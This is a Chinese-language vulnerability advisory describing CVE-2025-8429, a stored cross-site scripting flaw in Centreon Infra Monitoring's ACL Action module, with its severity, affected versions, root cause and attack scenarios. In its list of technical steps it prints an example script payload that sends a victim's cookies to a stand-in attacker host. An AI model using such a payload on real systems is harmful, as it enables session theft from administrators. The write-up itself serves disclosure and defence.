CVE-2025-8429CVE-2025-8429是Centreon Infra Monitoring监控平台中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞位于ACL(访问控制列表)Action访问配置模块中,属于网页生成过程中输入清理不当(Improper Neutralization of Input During Web Page Generation)所导致的安全问题。
Centreon是一款广泛使用的开源IT基础设施监控软件,被大量企业用于监控网络设备、服务器和应用程序的运行状态。该漏洞允许具有提升权限的用户在ACL Action配置模块中注入恶意的JavaScript脚本代码,这些代码会被持久化存储在服务器端。当其他用户(尤其是具有查看权限的管理员)访问受影响的页面时,恶意脚本将在其浏览器中自动执行,从而窃取敏感信息(如会话Cookie、认证令牌等)。
该漏洞的CVSS 3.1评分为6.8分,属于中等严重级别。虽然利用该漏洞需要高权限(PR:H),但由于Centreon作为企业级监控平台通常包含大量敏感的配置信息和凭据数据,一旦被利用,攻击者可以获取到大量高价值信息,对企业安全构成严重威胁。漏洞影响范围涵盖Centreon Infra Monitoring的多个版本,包括24.10.x、24.04.x和23.10.x三个主要分支。
该漏洞的核心问题在于ACL Action访问配置模块在处理用户输入时未进行充分的输出编码和输入验证。具体技术原理如下:
1. **输入注入点**:攻击者在ACL Action配置模块的输入字段(如Action名称、描述、别名等)中插入恶意的JavaScript代码,例如`<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>`。
2. **存储机制**:由于缺乏适当的输入清理,恶意脚本被直接存储到数据库中,而未进行HTML实体编码或转义处理。
3. **输出渲染**:当其他管理员或用户查看ACL配置页面时,服务器从数据库中读取存储的数据并直接嵌入到HTML响应中,浏览器将其解析为可执行的JavaScript代码。
4. **权限要求**:攻击者需要具有提升的权限(PR:H),这意味着普通用户无法直接利用,但已获得一定权限的内部威胁或被入侵的低权限账户可以利用此漏洞进行权限提升或横向移动。
5. **影响范围**:由于是存储型XSS,恶意代码会在每次页面加载时执行,影响所有访问受影响页面的用户,具有持久性和广泛传播性。
6. **攻击场景**:典型的攻击场景包括窃取管理员会话Cookie、进行钓鱼攻击、重定向到恶意网站、或利用管理员权限执行进一步的攻击操作。